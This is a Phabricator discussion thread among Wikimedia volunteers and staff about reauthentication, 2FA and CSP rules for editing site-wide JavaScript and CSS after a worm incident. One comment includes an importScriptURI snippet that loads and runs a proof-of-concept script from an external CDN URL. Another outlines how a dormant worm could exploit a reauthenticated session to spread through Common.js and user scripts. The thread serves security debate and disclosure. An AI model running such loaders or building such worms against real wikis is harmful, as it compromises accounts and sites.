Mentioned in SAL (#wikimedia-operations) [2026-05-05T16:38:53Z] <sbassett@deploy1003> Started scap sync-world: Backport for [[gerrit:1283036|Set $wgReauthenticateTime editsitejs to one hour (T197137)]], [[gerrit:1283020|Set CSP to enforce with allow-listed domains in Wikimedia production (T419612 T420604 T420607)]]

Mentioned in SAL (#wikimedia-operations) [2026-05-05T16:50:36Z] <sbassett@deploy1003> Started scap sync-world: Backport for [[gerrit:1283036|Set $wgReauthenticateTime editsitejs to one hour (T197137)]], [[gerrit:1283020|Set CSP to enforce with allow-listed domains in Wikimedia production (T419612 T420604 T420607)]], [[gerrit:1283049|Remove undefined variable $wmgUseCSPReportOnlyHasSession (T419612 T420604 T420607)]]

Mentioned in SAL (#wikimedia-operations) [2026-05-05T16:52:20Z] <sbassett@deploy1003> mstyles, sbassett: Backport for [[gerrit:1283036|Set $wgReauthenticateTime editsitejs to one hour (T197137)]], [[gerrit:1283020|Set CSP to enforce with allow-listed domains in Wikimedia production (T419612 T420604 T420607)]], [[gerrit:1283049|Remove undefined variable $wmgUseCSPReportOnlyHasSession (T419612 T420604 T420607)]] synced to the testservers (see https://wikitech.wikimedia.org/wiki/Mwdeb

Mentioned in SAL (#wikimedia-operations) [2026-05-05T16:58:02Z] <sbassett@deploy1003> Finished scap sync-world: Backport for [[gerrit:1283036|Set $wgReauthenticateTime editsitejs to one hour (T197137)]], [[gerrit:1283020|Set CSP to enforce with allow-listed domains in Wikimedia production (T419612 T420604 T420607)]], [[gerrit:1283049|Remove undefined variable $wmgUseCSPReportOnlyHasSession (T419612 T420604 T420607)]] (duration: 07m 25s)

Just to update: the re-auth timer should now be 60 minutes.

I did mention it several times now, but I feel urged to repeat: The “reauthentication” is entirely pointless and does not improve against attacks and worm proliferation.

• I can wait and sleep, as long as no “reauthentication” did happen, and no critical resource edit has been seen.
• As soon a vulnerable page is on editing, I set a cookie with a timestamp.
• When that page has been saved, my cookie tells me that I have 14 or 59 minutes to do whatever I want, since the “reauthentication” gave unlimited green light. Go for it.

There are three actions that really help:

1. Whenever a resource page is edited, safemode is to block any JavaScript.
2. Launching an interactive edit via index.php does need some hidden random code field not available for page retrieval to avoid faked interaction, or similar methods.
3. As soon as api.php is used, which might modify easily 50 pages per wiki, an individual access code for this run has to be provided, or block api.php entirely.

Increasing the timeout to 1 hour reduces friction, but it also expands the post-auth attack window from 10 minutes to 1 hour.

The malicious code executed within an already authenticated, privileged session and immediately used those rights to edit site JS and propagate. A session-based reauthentication check does not meaningfully constrain that. It happens once, and then leaves a long TOCTOU gap where sensitive actions can proceed without further verification.

One of our goals is to make the timeout dynamic and refreshed based on exercising the rights, so if someone is doing repeated work, it shouldn't interrupt them again until their next session.

The planned dynamic/session-refresh behavior weakens this further, since continued activity can extend the session indefinitely, effectively creating an unbounded execution window.

CSP is now in place and already provides a layer of mitigation (e.g. restricting external loads/exfiltration). Reauth should be fully reverted. Right now it just adds significant friction to legitimate workflows without meaningfully addressing the problem. WMF needs to stop being stubborn and realize that the solutions they are implementing or planning are not helping.

Hm... So I assume T197137#11831612 and T197137#11891687 might not be obvious enough.

When you run this it should make things more obvious:

var url = "https://cdn.jsdelivr.net/gh/johnnybebad26/wiki-poc-fun@main/poc2.4-adv.js";
importScriptURI(url);

It's not a worm, so you can safely run it on any Wikipedia project. The worst thing that can happen at the moment is that you'll spam my talk page on three Wikipedias ;)

This is how that works:
https://meta.wikimedia.org/w/index.php?title=Special:GlobalContributions/Nux&target=Nux&dir=prev&offset=20260505224205%7C-2%7C79679603&limit=20

You can find some comments in it's code here:
https://github.com/johnnybebad26/wiki-poc-fun/blob/main/poc2.4-adv.js

Note that isUserUnlocked() is only true after the session has been unlocked. So, for example, when an interface admin goes to MediaWiki:Gadget-searchFocus.js&action=edit and authenticates.

If, and I want to say that with full force, //IF// you assume that the wiki community cannot self-regulate bad JS, then the current solution (reauth and CSP) is just full of holes and only blocks legitimate uses of sitewide JS by authorized people. It doesn't block attacks that could happen but haven't actually happened.

Hi. I created Wikiploy ESLinter Edit project as a workaround to current annoying flow... This solves some of the problems created here for the interface administrators. It makes editing more then one file faster and generally less of burden. I used it to fix some scripts on Commons.

As the name implies basic ESlint-er config is included.

I'm currently working on a complex gadget, that requires days to be finished and in about 4 hours i've logged in like 6 or 7 times. It very pissed me off. Very bad decision to introduce this reauthentication with such a short timeout, in my opinion is an unjustified restriction for interface admins outside meta. All my todays willingness to work to that gadget is just gone.

T427957 proves that they are ignoring the concerns expressed here (maybe they didn't even read them) and have already moved on to "decorating the interface". I feel like I'm talking to a wall.

T427957 proves that they are ignoring the concerns expressed here (maybe they didn't even read them) and have already moved on to "decorating the interface". I feel like I'm talking to a wall.

We (and I) do read and hear all the concerns on this thread. The issue seems more clearly to be that we just don't agree. For reasons I've tried to articulate in this ticket, we strongly believe this is a justified and needed security protection. It will unfortunately always have had a clumsy and abrupt introduction, but some form of this is also long-overdue -- especially for site-wide JS editing.

For T427957 in particular, that came from a volunteer idea in a comment on this thread, from @Od1n (https://phabricator.wikimedia.org/T197137#11822948). I noticed we didn't cite that on the ticket, so I've updated the description to credit them.

I fully agree with the comments on this ticket expressing that the handling of this situation has been, and continues to be, a disaster.

As anyone can see by reading through the whole ticket (feel free to have an AI summarize it if that helps), and as @EMill-WMF just confirmed once again in their latest comment, there's no real understanding or engagement with the underlying problems here — just communication, without any action that actually addresses them.

This ticket has already laid out, in detail, how the current approach adds frankly infuriating friction without actually solving the security problem — and the right approaches have been laid out too. I'd considered posting a summary of all this myself at some point, but held off, worried it would just add noise. In hindsight, I should have gone ahead.

The icon added in T427957 is nothing more than a band-aid on an already shaky solution, and as @Tgr pointed out, even that icon's implementation leaves something to be desired.

In T197137#12036464, @Od1n wrote:

The icon added in T427957 is nothing more than a band-aid on an already shaky solution, and as @Tgr pointed out, even that icon's implementation leaves something to be desired.

I don't think I did that? There are limits to synchronizing session state with UI state, but that's not a problem you can't just implement away; you could build some sort of server-side push system for state updates, but it's a lot of effort (both one-time to build and then continuous maintenance). I certainly don't desire the security team to spend weeks tweaking how buttons look when a lot of meaningful security improvements could be done during the same time.

Anyway it's helpful to differentiate between people not listening to you and people listening to you but then still disagreeing. The latter unfortunately sometimes happens, especially when considering tradeoffs - software engineering is not like math where any two reasonable observers are expected to agree on whether a statement is provably true. There will often be subjective decisions about site security, the Wikimedia Foundation has hired security experts to make those decisions, and sometimes the experts will disagree with you. Such is life. Having the word "security" in one's job title or being employed by the WMF doesn't necessarily make somebody right, but neither does being the last person repeating your arguments ad infinitum after everyone else has given up on the discussion. Better to just agree to disagree on what's the correct decision, and spend the energy instead on trying to find new ways to reduce the friction that the new security measure introduces to your workflows.

Having the word "security" in one's job title or being employed by the WMF doesn't necessarily make somebody right

…especially when the initial incident was glaringly obvious to anyone without that title.

But sure, what would reduce friction here is:

1. only requiring 2FA and not also requiring password for no reason (no, passkeys are not the solution to this problem, there is zero reason to require both for ‘security’);
2. allowing people to edit sitewide CSS without 2FA confirmation step (why was this implemented at all in the first place? the practicality of any ‘attack’ on the websites via CSS is zero, at most the attacker would be able to log that someone visited Wikipedia, this isn’t like JS at all) or with a 2FA confirmation step only if their edit adds an external URL;
3. showing a confirmation step only on the save attempt and not on loading the editor or previewing;
4. showing a confirmation step without making people lose their state in their session and with a possibility to cancel and continue editing without publishing, maybe with something like mediawiki.authenticationPopup (see T366486).

Is anything like this ever getting implemented? Is that guaranteed to happen in the next month, and not over another 3 to 6 months, during which good-faith editing continues to be unbearable and awful to deal with while there were zero internal or external repercussions for the initial incident and not even a full transparency of how something like that could happen in the first place?

In T197137#12037785, @stjn wrote:

the practicality of any ‘attack’ on the websites via CSS is zero, at most the attacker would be able to log that someone visited Wikipedia

And do clickjacking attacks, and execute Javascript on extremely old browsers (e.g. expression() in IE6). Still, I think that's a good point. (The other three as well.)

no, passkeys are not the solution to this problem, there is zero reason to require both for ‘security’

They are the solution in the very technical sense that T208668: Do not ask for password on reauthentication when 2FA is enabled used to be a hard problem but introducing passkeys makes it solvable even for users who don't use passkeys, due to some internal details of how the classes implementing different authentication mechanisms can communicate with each other.

and execute Javascript on extremely old browsers (e.g. expression() in IE6)

Our own browser support matrix says we don’t support browsing using any IE, never mind IE6, however.

I should note the italics on the above. I’m sure passkeys improved the workflow for some people, however, there shouldn’t be a default expectation that you need to enter the password for a security check if you have 2FA set up even if you’re not using passkeys.

Bob the Hacker gets access to a fresh interface-admin session. Now the system trusts Bob for 15 minutes of full access.

• Bob: "Great, I will do everything quickly."
• Security team: "What if we just let Bob have 60 minutes instead of 15?"
• Bob: "Nice, now I have more time to do the same things, just without rushing."

Btw, one thing I noticed is that replies from the Security team only come after concerns are repeated in other places (Discord).

This makes me feel like some responses are given mainly to show that a reply was made, rather than to really engage with or fully address the question. This also fuels the feeling of a "lack of response" from the Security team, even when replies do eventually appear.

In T197137#12037776, @Tgr wrote:

Anyway it's helpful to differentiate between people not listening to you and people listening to you but then still disagreeing. The latter unfortunately sometimes happens, especially when considering tradeoffs - software engineering is not like math where any two reasonable observers are expected to agree on whether a statement is provably true. There will often be subjective decisions about site security, the Wikimedia Foundation has hired security experts to make those decisions, and sometimes the experts will disagree with you. Such is life. Having the word "security" in one's job title or being employed by the WMF doesn't necessarily make somebody right, but neither does being the last person repeating your arguments ad infinitum after everyone else has given up on the discussion. Better to just agree to disagree on what's the correct decision, and spend the energy instead on trying to find new ways to reduce the friction that the new security measure introduces to your workflows.

Credit to you for offering a defense, but this isn't disagreement — it's incompetence with good PR.

In T197137#12037807, @Nemoralis wrote:

Btw, one thing I noticed is that replies from the Security team only come after concerns are repeated in other places (Discord).

This makes me feel like some responses are given mainly to show that a reply was made, rather than to really engage with or fully address the question. This also fuels the feeling of a "lack of response" from the Security team, even when replies do eventually appear.

We're not always going to respond to every poke by every user. Speaking for myself, I've replied to you and others on this thread multiple times since this became an active issue. I also try to participate in Discord and other community forums when our team's issues come up. In general, I try to engage when there are either new points being made, or it's been a while and some updates are owed.

In T197137#12037785, @stjn wrote:

Is anything like this ever getting implemented?

Yes, you can see active patches for this work. This is our security engineers' top development priority right now, and the improvements we've already talked about making in this thread (requiring only a second factor, requiring confirmation only on the save attempt) are not going to drag out much longer.

allowing people to edit sitewide CSS without 2FA confirmation step (why was this implemented at all in the first place? the practicality of any ‘attack’ on the websites via CSS is zero, at most the attacker would be able to log that someone visited Wikipedia, this isn’t like JS at all) or with a 2FA confirmation step only if their edit adds an external URL;

We'll discuss whether CSS editing needs the same approach as JS editing. But, bear in mind that with CSS, the bigger issue isn't really privacy risks from people adding e.g. CSS links to third party domains. They are 1) it being used to maliciously change the interface to fool users in some way, and 2) straight-up defacement of Wikipedia at scale. #2 is the most direct risk. Granted, these are less acutely time-sensitive of a concern as something like a spreading worm or other malicious site-wide JS, but they are still time-sensitive and I do want to focus the risk discussion there instead of privacy risks (where I agree that CSS is much less of a concern than JS).

I’m sure passkeys improved the workflow for some people, however, there shouldn’t be a default expectation that you need to enter the password for a security check if you have 2FA set up even if you’re not using passkeys.

Yes, we will allow it to be completed with other second-factor methods as well, like TOTP, and not require the password to be entered as well.

Looking at the two linked patches, neither actually addresses the substantive concerns raised throughout this thread.

T197136 — "Allow reauthentication to be required for certain user rights"

This is purely refactoring: it generalizes the existing session-timer reauth check into a core config option ($wgReauthenticateForActions), but the underlying mechanism is unchanged — it's still a call to AuthManager::securitySensitiveOperationStatus(), the same time-boxed "session unlock" approach that's been deployed (and criticized) since March. It doesn't change how reauth works, only where it's configured. None of the structural alternatives discussed here — safemode during interface edits, CSRF binding to the specific edit content, a separate-origin editing surface, distinguishing API edits — are part of this change.

T428074 — "Require reauthentication for editing site JS/CSS and other user's JS/CSS"

This wires the above config into editsitejs/css and edituserjs/css. The only genuinely new protection here is extending reauth to other users' JS/CSS pages (T419152) — a different problem than the one debated in this ticket, and frankly just more friction stacked on top for no real security gain: it's the same session-wide timer gating the action, not the actual payload, so it doesn't close the worm-riding hole any more here than it does for site JS/CSS. As for the friction/security issues raised in this thread:

• It still triggers reauth on opening the editor rather than on save. The patch's own commit comment says this explicitly: "Ideally we would prompt for reauthentication after submitting the edit (T427955), but for now, force reauthentication when they enter the editor." So the one concrete UX fix repeatedly requested in this thread (reauth-at-submit, not at-load) is not in this patch — it's deferred to a separate, unlinked ticket.
• It does nothing about the "unlocked session window" attack vector (already-running malicious JS riding along on a freshly reauthenticated session) that's been the core technical objection since the very first comments on this approach.
• It doesn't touch API-based edits or the password+2FA redundancy issue either.

So in short: these patches are a code-cleanup of the existing stopgap, plus a scope extension that adds even more friction without closing the actual gap. They're not a response to the security-model or friction concerns raised in this ticket.

In T197137#12037799, @stjn wrote:

Our own browser support matrix says we don’t support browsing using any IE, never mind IE6, however.

That means ResourceLoader won't send any Javascript to them. It will still send CSS in some situations (I think - admittedly not super sure of the details), because sometimes CSS is is sent as a link tag in the HTML head and it's not possible to feature-detect Javascript support when sending the initial HTML page. So AIUI old browsers are mostly not vulnerable to sitewide JS attacks, except for ones based on raw HTML messages (they would have to somehow manually load site scripts) but are still vulnerable to sitewide CSS attacks.

This is all very theoretical - very few people use IE6, almost certainly no Wikipedia power users do it, and it doesn't event understand the flavor of TLS we use these days, so one would have to use it behind a TLS proxy (which is an unfortunate reality in some countries and some company networks, but again quite rare). I meant it more as an interesting footnote. Clickjacking is a real issue though (although of course a lot less problematic than XSS because the attacker is more limited in what they can achieve, so I agree it would make sense to differentiate in security requirements).

I recently updated a gadget across different wikis. Reauthentification was required every time, because the timer applies per wiki instead of globally, but using a passkey it probably took 15 seconds to complete reauthentification. Editing on ~20 wikis therefore required 5min of additional volunteer time. Yes I was a bit annoyed to do the same re-auth process multiple times, but it's not that big of a deal when using my browser's passkey. Certainly tolerable when trying to finde a balance between editor needs and site security.
I would strongly encourage to speed up the work on T427955: Prompt for reauthentication after submitting a site JS edit, not before – saves you some time whenever you notice mid-edit that you don't need to update that particular page.

In T197137#12038149, @Johannnes89 wrote:

Reauthentification was required every time, because the timer applies per wiki instead of globally

I hope to fix this soon, FWIW.

I keep seeing the concern raised here that the current code does not help if you start editing site JS while your account is compromised (e.g. by @PerfektesChaos @Nemoralis @Od1n), and I'm confused by it. It's true of course, and everyone understands that. However, I believe that that has never been the goal; reauthentication is not supposed to prevent site JS worms from spreading when someone is editing site JS, it's supposed to prevent them from spreading when someone is just browsing the wiki. I already mentioned this in April (T197137#11821539), but it seems no one acknowledged that. Or am I misunderstanding something here?

Preventing site JS worms from spreading via editing JS would require much more inconvenient changes, some of which have been described in comments above, but it's not clear to me whether y'all are seriously suggesting them or just acting as a devil's advocate.

There are several situations in which reauthentication helps at least somewhat:

• When the attacker has a short window to work with (notably in the case of a reflected XSS). This is probably the most important.
  • Likewise when the attacker tries to compromise the maximum number of accounts in a short time, which is the scenario @matmarex describes.
• Session ID theft without the ability to execute actions in the browser (e.g. a malicious app reading cookie data from disk or memory, or someone using Pywikibot on an insecure server without setting up OAuth / bot passwords).
• When the XSS and the reauth-protected action happen on different wikis (not today, but T206012: dont allow editing js and raw html messages over cors would be easy to implement and not that inconvenient).
• It could also be used to temporarily enable more aggressive threat detection/mitigation (T210909: Introduce secure mode to MediaWiki)

In T197137#12037785, @stjn wrote:

But sure, what would reduce friction here is:

Forgot 5) I suggested before somewhere: it should be possible to turn on safe mode for yourself and not have to do 2FA checks on every edit while you are in it, if the goal of this change is to reduce the impact from JS-related attacks or XSS.

In T197137#12038430, @matmarex wrote:

I keep seeing the concern raised here that the current code does not help if you start editing site JS while your account is compromised (e.g. by @PerfektesChaos @Nemoralis @Od1n), and I'm confused by it. It's true of course, and everyone understands that. However, I believe that that has never been the goal; reauthentication is not supposed to prevent site JS worms from spreading when someone is editing site JS, it's supposed to prevent them from spreading when someone is just browsing the wiki. I already mentioned this in April (T197137#11821539), but it seems no one acknowledged that. Or am I misunderstanding something here?
Preventing site JS worms from spreading via editing JS would require much more inconvenient changes, some of which have been described in comments above, but it's not clear to me whether y'all are seriously suggesting them or just acting as a devil's advocate.

Yes, I think that is what we are saying: preventing the spread of worms would indeed require doing something else. Spreading worms is only middy affected by the re-auth. There is a whole set of tasks that are based on the incident, and I think Emill has said at least a few times that this and other tasks are supposed to address issues uncovered by that incident. The task is even marked with the tag 2026-user-javascript-incident.

Correct me if I'm wrong, but the incident involved a script (a worm) spreading across a large number of accounts and scripts. This is still possible. Re-auth did not fix that. If WMF is not acting on the basis of that incident, then the temporary fix was not needed at all. In that case, all the friction caused to the community was unwarranted and simply unnecessary.

If the goal was to create a special mode then going into that mode could have been done in many ways, most of which would cause less friction to the community. Just securing preferences page would probably suffice in doing that. That or creating a session option that is only shared server-to-server – it should be doable within oAuth flow (I do this stuff at work in Java it shouldn't be that different using PHP libraries).

In T197137#12038889, @Nux wrote:

Correct me if I'm wrong, but the incident involved a script (a worm) spreading across a large number of accounts and scripts. This is still possible. Re-auth did not fix that. If WMF is not acting on the basis of that incident, then the temporary fix was not needed at all. In that case, all the friction caused to the community was unwarranted and simply unnecessary.

The workaround we have now would have prevented that incident, since the worm would not have been able to spread from user JS, where it was placed at first, to site JS. We would only have one compromised account.

In T197137#12043210, @matmarex wrote:

In T197137#12038889, @Nux wrote:

Correct me if I'm wrong, but the incident involved a script (a worm) spreading across a large number of accounts and scripts. This is still possible. Re-auth did not fix that. If WMF is not acting on the basis of that incident, then the temporary fix was not needed at all. In that case, all the friction caused to the community was unwarranted and simply unnecessary.

The workaround we have now would have prevented that incident, since the worm would not have been able to spread from user JS, where it was placed at first, to site JS. We would only have one compromised account.

Sorry Bartek, but you are oversimplifying this. Obviously, no sane person will add the same script again (or at least I hope so 😉). That script was not even a real threat, as the script was not obfuscated and was kind of obvious in what it did. That is not the point though. And also the script was removed, so it is not like anyone will stumble upon it again.

I'm talking about the underlying problems that were revealed and are real... well, real-ish. I still firmly believe that in reality, most scripts like that should be caught by the community. But if we are seriously talking about worms (scripts that spread themselves), then the incident was not resolved.

Here is what I think is still possible:

1. As Od1n pointed out earlier in T197137#11830960, you can do a lot of edits in 10-15 minutes, and now the limit is 1 hour, so an attacker can do even more edits in that time window. You can easily change the pages of all users within an hour. So that limit doesn't change much.
2. The script just needs to stay dormant until any interface admin edits any script that requires a new mode – let's call it edit-interface mode. That's the only real difference a new worm would have to have.
3. The script then changes MediaWiki:Common.js as it did before.
4. Any int-admin that tries to revert MediaWiki:Common.js will also have to unlock edit-interface mode and will also become the one spreading the worm.
5. Even worse, any int-admin that tries to copy MediaWiki:Common.js for analysis will also probably(*) unlock edit-interface mode and will also become the one spreading the worm.
6. As a bonus, a new worm could spread with user scripts:
   1. The worm would add itself to all admins' User:{user}/common.js and User:{user}/global.js.
   2. The worm would re-add itself to any logged-in user, not only admins. Users can edit their own User:{user}/common.js and User:{user}/global.js, so users would keep reinfecting themselves.

So now:

• Any browser tab opened by an infected admin will be forced to remove pages, nuke edits, etc. (all the things that the original script/worm did).
• Any user, including admins and int-admins, is reinfecting themselves, and it becomes the same chaos.
• Any infected int-admin who tries to see what is going on will reinfect Common.js and all users again.

So a worm can still be done in such a way that it keeps spreading and reinfecting users. I see no meaningful change in security model. I do see A LOT of friction. I still fail to see any urgency in applying the current re-auth workaround.

(*) Yes in theory most JS devs should be able to disable JS and should know how to reload all tabs (so disabling JS is in effect). Most admins are not devs though. Even some int-admins are not JS devs.

The March event, and the following edit shut down for several hours, has demonstrated to the entire world that a global worm is possible, and how it works and what is to do.

• This incident has been reported in various newsletters, even in TV.
• Every country whose government is not happy with Wikipedia, also blocking Wikipedia and bringing authors to court, noticed that.
• Every BigTech company who wants to bring an independent free speech pedia into market, and competiting for attention, knows about. And they have the money and skills to implement a worm.

The current attempts to defend are entirely pointless.

• CSP does not shelter against a sysop on a small wiki, perhaps with local interface rights. The enemy is to be expected within WMF domains, not outside. A frustrated person might leave the WMF with BigBang. If an atttacker knows that an account on any WMF wiki would break CSP this it is no big deal to register.
• The current query for authentification bothers people, but does not prevent any malicious attack. I can wait silently until a resource page is edited (mediawiki: or of another user, which tells me that rights are active), then prepare my work, and as soon a new version of this page has been saved I know that I have 14 or 59 minutes to invade the largest 100 wikis at its best, starting a snowball effect.

The one and only way to prevent attacks is not to load any user JS, best also no site JS, and even no CSS, as soon somebody wants to edit a resource page. This might even exclude my own user pages, but also other user pages and most important all site pages.

• Such tools are made for wikitext, equipping my interface with a lot of interesting links and whatever. But none are really needed to edit a resource page. However, every helpful trusted script which worked for a decade might contain one more statement, loading the malicous code page.

The current approach is an impressive fortress wall, with two big towers, search lights, guards at the gate, machine gun.

• But the two sides are just a little fence, or low walls.
• The backside is entirely open, everybody can circumvent the security check and walk in from the rear side, with any payload.

Notes on experience post-changes this Thursday (no more asking for password, asking for 2FA in a browser popup window):

1. After already pressing ‘Publish changes’, it is very strange that providing 2FA token leads not to a submitted change, but to another page with, for some reason, a diff that requires pressing ‘Publish changes’ again. I hope that’s not the final design of this and would be changed, because it’s clunky as hell.
2. After pressing ‘Publish changes’ again on that page, for some reason I saw the following (I have the setting to remind me if I am submitting without a summary, and it triggered here even though I am clearly providing the summary), which is even weirder:

I can only speak immediately to #1, but it is supposed to submit the form automatically once the popup closes, because yes it would be clunky to have to press the same button twice. So that sounds like a bug (or some unusual local setup) if it's not.

It was during editing Russian Wikipedia, so not a local setup. It led me to the page with a diff view on the top and a submit button without a lock icon. After I submitted again, https://translatewiki.net/wiki/MediaWiki:Missingsummary/ru was displayed, even though I had written a summary (maybe that has something to do with it).

Not sure yet if it’s reproducible at scale since I’ve only authed twice using the new scheme, but it seems like if you do an interface edit and then try to do another edit somewhere else (not at the same time, one after another), the first edit you do after you confirm 2FA would be rejected with https://translatewiki.net/wiki/MediaWiki:Session_fail_preview/en message. I’ll try to be on the lookout for that, as well.

I just noticed that the reauth flow is no longer triggered when opening the edit page, but instead when clicking "Publish"; note that there was no indication on this ticket of this change (no reference to a Gerrit change), and it was only a comment above that tipped me off. This is a change in the right direction.

That said:

• The reauth flow isn't shown as a popup integrated into the same page, but opens in a separate browser window. Since I also have to go fetch my TOTP code in yet another tab/window, there's a kind of window "back and forth" that I found fairly disorienting — even though I'm used to juggling windows the much more efficient "old-fashioned" way, i.e. each window as its own separate taskbar entry, rather than grouped/merged into one. Ideally, an integrated in-page popup would be preferable, if technically feasible.
• For me, fetching a TOTP code is noticeably more cumbersome than entering a password, which the browser can autofill directly. I imagine this varies by user (setup, workflow, etc.)? Idea: add a "confirm sensitive actions with:" setting on Special:AccountSecurity, with two radio options, "password" and "2FA" — this could apply to various sensitive actions, not just editing sensitive pages.
• And, once again, the only real good solution is to fully disable JavaScript on these pages.

In T197137#12086638, Od1n wrote:

I just noticed that the reauth flow is no longer triggered when opening the edit page, but instead when clicking "Publish"; note that there was no indication on this ticket of this change (no reference to a Gerrit change), and it was only a comment above that tipped me off. This is a change in the right direction.

see T427955: Prompt for reauthentication after submitting a site JS edit, not before

I believe this task should be resolved for now, as this feature has been implemented within MediaWiki and deployed to Wikimedia wikis, as stated within the task description. I've created T431504 to track the bugs I see reported within a few comments above and would like to address those issues there. Suggested feature enhancements, changes, etc. can be filed and tracked as separate tasks.

I think this task should not be closed before security team commenting on making CSS editing available without jumping through hoops again. There are zero security-based reasons to prohibit editing CSS with the current method, since you cannot introduce a CSS worm that would spread to people, and any clickjacking (the only somewhat probable vector of attack) is much more easy to do via TemplateStyles, which is (thankfully) not behind any 2FA-based protection and should not be.

IIRC, editing CSS in gadgets was allowed previously (before the popup maybe?). I'm not sure why that changed. Even though, security-wise, CSS in default gadgets is the same as, for example, Common.css, it is different in the sense that adding stuff to Common.css should be discouraged for the sake of clarity and modularity (and doing tweaks in CSS of gadgets should be easy).

Security-wise, CSS is obviously much safer than JS and much easier to revert when needed. It is also much more readable, so it would be much harder to sneak in anything malicious. For example, a keyboard sniffer would be incredibly obvious and suspicious even on Recent Changes, as it would be megabytes in size.

In T197137#12097382, @stjn wrote:

I think this task should not be closed before security team commenting on making CSS editing available without jumping through hoops again. There are zero security-based reasons to prohibit editing CSS with the current method, since you cannot introduce a CSS worm that would spread to people, and any clickjacking (the only somewhat probable vector of attack) is much more easy to do via TemplateStyles, which is (thankfully) not behind any 2FA-based protection and should not be.

The issue of CSS is without a proper CSP user's IP address can be leaked to third party via external resources used in CSS.

We have CSP policy now as a result of this failure by the WMF. If it doesn’t disallow enough domains, that’s not on interface admins to deal with. The majority of CSS edits also have nothing to do with changing or adding any URLs.

In T197137#12105551, @EMill-WMF wrote:

I have further discussed this with the team and this is still where we stand - which is to keep re-authentication for editing sitewide CSS.

You are right that it is overall less risky than editing JS, since it's unlikely to lead to a worm or other kind of malicious script. There are potential privacy issues from 3P CSS domains, but they are not what's driving the decision here either - CSP will likely be the main lever for addressing that. It is the risk of malicious alteration of the user interface (potentially as a component of a larger attack), and the risk of direct site-wide defacement and/or making the site unusable. These seem like quite real risks to us, that adversaries would be incentivized to exploit if they could.

How is that at all different from editing https://en.wikipedia.org/wiki/Module:Infobox/styles.css (5 million transclusions) or https://en.wikipedia.org/wiki/Module:Navbox/styles.css (another 5 million transclusions) to ‘deface’ the website? There is more surface area available in Common.css or gadgets (you don’t have to target just page content) but there are TemplateStyles pages with millions of uses, which are not behind 2FA protection and shouldn’t be (they’re not even behind sysop protection!). This justification is the flimsiest excuse for doing nothing about needlessly putting a restriction that saves people from nothing and solves nothing. For a regular reader, there is no difference between ‘defacing’ the website via editing Common.css or via editing Module:Infobox/styles.css. This clearly shows to me again and again that people making security decisions, frankly, have a pretty shallow understanding of the website, which is what led to this whole incident in the first place.

In T197137#12106393, @stjn wrote:

In T197137#12105551, @EMill-WMF wrote:

I have further discussed this with the team and this is still where we stand - which is to keep re-authentication for editing sitewide CSS.

You are right that it is overall less risky than editing JS, since it's unlikely to lead to a worm or other kind of malicious script. There are potential privacy issues from 3P CSS domains, but they are not what's driving the decision here either - CSP will likely be the main lever for addressing that. It is the risk of malicious alteration of the user interface (potentially as a component of a larger attack), and the risk of direct site-wide defacement and/or making the site unusable. These seem like quite real risks to us, that adversaries would be incentivized to exploit if they could.

How is that at all different from editing https://en.wikipedia.org/wiki/Module:Infobox/styles.css (5 million transclusions) or https://en.wikipedia.org/wiki/Module:Navbox/styles.css (another 5 million transclusions) to ‘deface’ the website? There is more surface area available in Common.css or gadgets (you don’t have to target just page content) but there are TemplateStyles pages with millions of uses, which are not behind 2FA protection and shouldn’t be (they’re not even behind sysop protection!). This justification is the flimsiest excuse for doing nothing about needlessly putting a restriction that saves people from nothing and solves nothing. For a regular reader, there is no difference between ‘defacing’ the website via editing Common.css or via editing Module:Infobox/styles.css. This clearly shows to me again and again that people making security decisions, frankly, have a pretty shallow understanding of the website, which is what led to this whole incident in the first place.

Note: the most easy way to "deface" a wiki is adding a position:fixed element to specific interface message (this does not involve any .css page). Mitigation is discussed at T40848: Security: CSS positioning can be used to break out of the content area.

Yeah, honestly, I was so flabbergasted by this line of argument that I forgot that the easiest way to do anything like this doesn’t involve editing CSS at all, it is just <div style="…">…</div> with a couple of properties, either position: absolute or position: fixed. What a security theatre this all is.

How is that at all different from editing https://en.wikipedia.org/wiki/Module:Infobox/styles.css (5 million transclusions) or https://en.wikipedia.org/wiki/Module:Navbox/styles.css (another 5 million transclusions) to ‘deface’ the website? There is more surface area available in Common.css or gadgets (you don’t have to target just page content) but there are TemplateStyles pages with millions of uses, which are not behind 2FA protection and shouldn’t be (they’re not even behind sysop protection!).

Those two CSS files you specifically linked to are sysop- (and template-editor-)protected due to how widely transcluded they are. Even so, I'm sure there are some widely transcluded files that are not, and I am aware of https://phabricator.wikimedia.org/T40848 as well. I do not think the status quo around the ease of template editing or arbitrary CSS positioning are good either -- real-world abuses of both have occurred -- and those may well see changes over the next year. More broadly, the fact that there are other platform weaknesses that allow for potential defacement doesn't mean we should not do something about one of the most straightforward ways to do it at the scale of an entire wiki.

Yeah, honestly, I was so flabbergasted by this line of argument that I forgot that the easiest way to do anything like this doesn’t involve editing CSS at all, it is just <div style="…">…</div> with a couple of properties, either position: absolute or position: fixed. What a security theatre this all is.

If we accepted this line of argument, we would simply never make any security changes that did not completely make a problem go away. It is not defensible or persuasive, especially for a platform as incredibly user-configurable as this one.

In T197137#12107069, @EMill-WMF wrote:

Those two CSS files you specifically linked to are sysop- (and template-editor-)protected due to how widely transcluded they are. Even so, I'm sure there are some widely transcluded files that are not, and I am aware of https://phabricator.wikimedia.org/T40848 as well. I do not think the status quo around the ease of template editing or arbitrary CSS positioning are good either -- real-world abuses of both have occurred -- and those may well see changes over the next year. More broadly, the fact that there are other platform weaknesses that allow for potential defacement doesn't mean we should not do something about one of the most straightforward ways to do it at the scale of an entire wiki.

No, both are available to edit to everyone with template editor permissions, so to more than 200 people. It says it right there up top. If you want to introduce some sort of 2FA check for those files, this is how you drive away even more people away from Wikimedia movement. The hypothetical of some real-world abuse that stays for five minutes is not enough to justify inconveniencing people that, unlike you, are doing maintenance of many critical parts of the infrastructure entirely for free. And those people would probably never put a malware script without any uses into their global JS file on their privileged staff account. Good luck in making our life harder in 2027.

No, both are available to edit to everyone with template editor permissions.

Yes, that's why I said "(and template-editor-)" protected - both roles have permissions to edit them.

Sysop protection is a higher level of protection than template editor protection, saying ‘sysop- (and template-editor-)protected’ is misleading, that’s why I clarified. Template editor rights also are available to more people (not in numbers, but in level of trust).

In T197137#12106393, @stjn wrote:

In T197137#12105551, @EMill-WMF wrote:

I have further discussed this with the team and this is still where we stand - which is to keep re-authentication for editing sitewide CSS.

